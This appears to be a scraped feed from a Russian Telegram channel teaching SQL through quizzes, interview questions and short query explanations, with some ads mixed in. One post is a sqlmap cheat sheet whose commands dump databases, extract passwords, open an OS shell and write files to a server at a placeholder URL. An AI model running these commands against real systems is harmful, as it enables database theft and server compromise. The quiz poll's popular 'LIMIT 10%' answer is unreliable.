Какой из следующих SQL запросов выберет первые 10% записей таблицы, отсортированные по колонке "sales" в порядке убывания?
Anonymous Quiz
30%
SELECT * FROM table WHERE sales > (SELECT MAX(sales) FROM t) * 0.1 ORDER BY sales DESC;
11%
SELECT * FROM table WHERE sales > (SELECT MIN(sales) FROM t) * 0.1 ORDER BY sales DESC LIMIT 10%;
14%
SELECT * FROM t WHERE sales > (SELECT AVG(sales) FROM t) * 0.1 ORDER BY sales DESC LIMIT 10;
46%
SELECT * FROM t ORDER BY sales DESC LIMIT 10%
👍16
Вот отсортированная база с тонной материала(постепенно пополняется):
БАЗА (4687 видео/книг):
(363 видео, 87 книги) — Python
(415 видео, 68 книги) — Frontend
(143 видео, 33 книги) — ИБ/Хакинг
(352 видео, 89 книги) — С/С++
(343 видео, 87 книги) — Java
(176 видео, 32 книги) — Git
(293 видео, 63 книги) — C#
(174 видео, 91 книги) — DevOps
(167 видео, 53 книги) — PHP
(227 видео, 83 книги) — SQL/БД
(163 видео, 29 книги) — Linux
(107 видео, 43 книги) — СисАналз
(181 видео, 32 книги) — Go
(167 видео, 43 книги) — Kotlin/Swift
(112 видео, 24 книги) — Flutter
(137 видео, 93 книги) — DS/ML
(113 видео, 82 книги) — GameDev
(183 видео, 37 книги) — UI/UX
(129 видео, 73 книги) — QA
(213 видео, 63 книги) — Rust
(121 видео, 24 книги) — Ruby
Скачивать ничего не нужно — все выложили в Telegram
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1
#Вопросы_с_собеседования
❓В чем разница между кластерными и некластеризованными индексами?
Ответ на картинке.
❓В чем разница между кластерными и некластеризованными индексами?
Ответ на картинке.
👍6
Извлекаем имя из адреса электронной почты
Где "YourTable" - это название вашей таблицы, содержащей столбец с адресами электронной почты.
Этот запрос использует функцию "LEFT", чтобы извлечь часть строки до символа "@", а функция "CHARINDEX" используется для нахождения позиции символа "@". Результат запроса будет содержать столбец с именами, извлеченными из адресов электронной почты.
Где "YourTable" - это название вашей таблицы, содержащей столбец с адресами электронной почты.
Этот запрос использует функцию "LEFT", чтобы извлечь часть строки до символа "@", а функция "CHARINDEX" используется для нахождения позиции символа "@". Результат запроса будет содержать столбец с именами, извлеченными из адресов электронной почты.
👍22🔥1
Друзья, на связи ваш админ.
Я тут сделал бота для знакомств @tinder. Буду рад, если вы оцените и воспользуетесь. Если буду какие-то замечания, пишите, буду благодарен)
Я тут сделал бота для знакомств @tinder. Буду рад, если вы оцените и воспользуетесь. Если буду какие-то замечания, пишите, буду благодарен)
😁7
Как полностью очистить таблицу sql
Полностью очистить таблицу, не удаляя её можно с помощью запроса DELETE. Мы указываем имя таблицы, но опускаем блок WHERE. Тогда удаляются абсолютно все записи, вне зависимости от условий.
Кроме DELETE без условий можно использовать TRUNCATE. У неё есть свои особенности. Самая главная, она быстрее DELETE, так как не сканирует таблицы перед очисткой и наиболее полезна для очистки больших таблиц.
Полностью очистить таблицу, не удаляя её можно с помощью запроса DELETE. Мы указываем имя таблицы, но опускаем блок WHERE. Тогда удаляются абсолютно все записи, вне зависимости от условий.
DELETE FROM wiped_table_name;
-- Мы очистили таблицу wiped_table_nameКроме DELETE без условий можно использовать TRUNCATE. У неё есть свои особенности. Самая главная, она быстрее DELETE, так как не сканирует таблицы перед очисткой и наиболее полезна для очистки больших таблиц.
TRUNCATE cars, cups, parrots;
-- Тут можно перечислять сколько угодно таблиц👍6🎄3😁2
#Вопросы_с_собеседования
Удержание пользователей в месяц
Контекст: допустим, у нас есть статистика по авторизации пользователей на сайте в таблице logins:
Задача: написать запрос, который получает количество удержанных пользователей в месяц. В нашем случае данный параметр определяется как количество пользователей, которые авторизовались в системе и в этом, и в предыдущем месяце.
Решение:
Удержание пользователей в месяц
Контекст: допустим, у нас есть статистика по авторизации пользователей на сайте в таблице logins:
| user_id | date |
|---------|------------|
| 1 | 2018-07-01 |
| 234 | 2018-07-02 |
| 3 | 2018-07-02 |
| 1 | 2018-07-02 |
| ... | ... |
| 234 | 2018-10-04 |
Задача: написать запрос, который получает количество удержанных пользователей в месяц. В нашем случае данный параметр определяется как количество пользователей, которые авторизовались в системе и в этом, и в предыдущем месяце.
Решение:
SELECT
DATE_TRUNC('month', a.date) month_timestamp,
COUNT(DISTINCT a.user_id) retained_users
FROM
logins a
JOIN
logins b ON a.user_id = b.user_id
AND DATE_TRUNC('month', a.date) = DATE_TRUNC('month', b.date) +
interval '1 month'
GROUP BY
date_trunc('month', a.date)👍8🎄1
#Вопросы_с_собеседования
❓Выберите из таблицы workers все записи так, чтобы вместо id было userId, вместо login – userLogin, вместо salary - userSalary
Ответ на картинке.
❓Выберите из таблицы workers все записи так, чтобы вместо id было userId, вместо login – userLogin, вместо salary - userSalary
Ответ на картинке.
😁7👍5❤🔥1
#Вопросы_с_собеседования
❓Объясните различные типы нормализации
Существует много последовательных уровней нормализации. Это так называемые нормальные формы. Каждая последующая нормальная форма включает предыдущую. Первых трех нормальных форм обычно достаточно.
• Первая нормальная форма (1NF) — нет повторяющихся групп в строках
• Вторая нормальная форма (2NF) — каждое неключевое (поддерживающее) значение столбца зависит от всего первичного ключа
• Третья нормальная форма (3NF) — каждое неключевое значение зависит только от первичного ключа и не имеет зависимости от другого неключевого значения столбца
❓Объясните различные типы нормализации
Существует много последовательных уровней нормализации. Это так называемые нормальные формы. Каждая последующая нормальная форма включает предыдущую. Первых трех нормальных форм обычно достаточно.
• Первая нормальная форма (1NF) — нет повторяющихся групп в строках
• Вторая нормальная форма (2NF) — каждое неключевое (поддерживающее) значение столбца зависит от всего первичного ключа
• Третья нормальная форма (3NF) — каждое неключевое значение зависит только от первичного ключа и не имеет зависимости от другого неключевого значения столбца
👍10
#Вопросы_с_собеседования
Вывести список клиентов, сделавших заказы в период с 1 января 2020 года по 31 декабря 2020 года
Ответ на картинке.
Вывести список клиентов, сделавших заказы в период с 1 января 2020 года по 31 декабря 2020 года
Ответ на картинке.
👍9❤🔥5
#Вопросы_с_собеседования
❓Выберите из таблицы workers все записи за первую декаду любого месяца 2016 года
Ответ на картинке.
❓Выберите из таблицы workers все записи за первую декаду любого месяца 2016 года
Ответ на картинке.
👍14
SQLMAP — это инструмент для проникновения с открытым исходным кодом.
SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных .
Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение.
sqlmap -u "http://example.com/page.php?id=1"
sqlmap -u "http://example.com/page.php?id=1" --dbs
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump
sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"
sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user
sqlmap -u "http://example.com/page.php?id=1" --os-shell
sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"
sqlmap -u "http://example.com/page.php?id=1" --is-dba
sqlmap -u "http://example.com/page.php?id=1" --passwords
sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"
sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns
sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
sqlmap -u "http://example.com/page.php?id=1" --banner
sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"
Please open Telegram to view this post
VIEW IN TELEGRAM
1👍4
Каким образом можно получить список клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев?
Для получения списка клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев, можно использовать подзапросы и агрегатные функции.
Надежный подход к решению этой задачи включает подзапрос, который связывается с основной таблицей по идентификатору клиента (customer_id). В подзапросе используется агрегатная функция COUNT() для подсчета количества уникальных месяцев, в которых клиент сделал заказ, и группировка по месяцу (MONTH()). Затем условие HAVING применяется к подзапросу для определения, что клиент сделал заказ во всех трех месяцах.
Для получения списка клиентов, которые сделали хотя бы один заказ в каждом месяце в течение последних трех месяцев, можно использовать подзапросы и агрегатные функции.
Надежный подход к решению этой задачи включает подзапрос, который связывается с основной таблицей по идентификатору клиента (customer_id). В подзапросе используется агрегатная функция COUNT() для подсчета количества уникальных месяцев, в которых клиент сделал заказ, и группировка по месяцу (MONTH()). Затем условие HAVING применяется к подзапросу для определения, что клиент сделал заказ во всех трех месяцах.
1👍12
#Вопросы_с_собеседования
❓При выборке из таблицы workers выведите дату в формате '31.12.2025'
Ответ на картинке.
❓При выборке из таблицы workers выведите дату в формате '31.12.2025'
Ответ на картинке.
👍10
Создание поля, объединяющего имя и зарплату в выборке из таблицы пользователей
Для создания поля, которое будет включать в себя и имена, и зарплату, можно использовать функцию CONCAT(). Она объединяет две или более строковые величины в одну строку.
Пример SQL-запроса для создания поля new_field на фото.
В примере мы выбираем таблицу users и создаем новое поле с помощью функции CONCAT(). Внутри функции указываем два поля, которые хотим объединить - name и salary. Также задаем новое имя для созданного поля - new_field, используя AS.
Теперь в результате выполнения запроса в выборке будет присутствовать новое поле new_field, которое будет содержать имя пользователя и его зарплату.
Для создания поля, которое будет включать в себя и имена, и зарплату, можно использовать функцию CONCAT(). Она объединяет две или более строковые величины в одну строку.
Пример SQL-запроса для создания поля new_field на фото.
В примере мы выбираем таблицу users и создаем новое поле с помощью функции CONCAT(). Внутри функции указываем два поля, которые хотим объединить - name и salary. Также задаем новое имя для созданного поля - new_field, используя AS.
Теперь в результате выполнения запроса в выборке будет присутствовать новое поле new_field, которое будет содержать имя пользователя и его зарплату.
👍8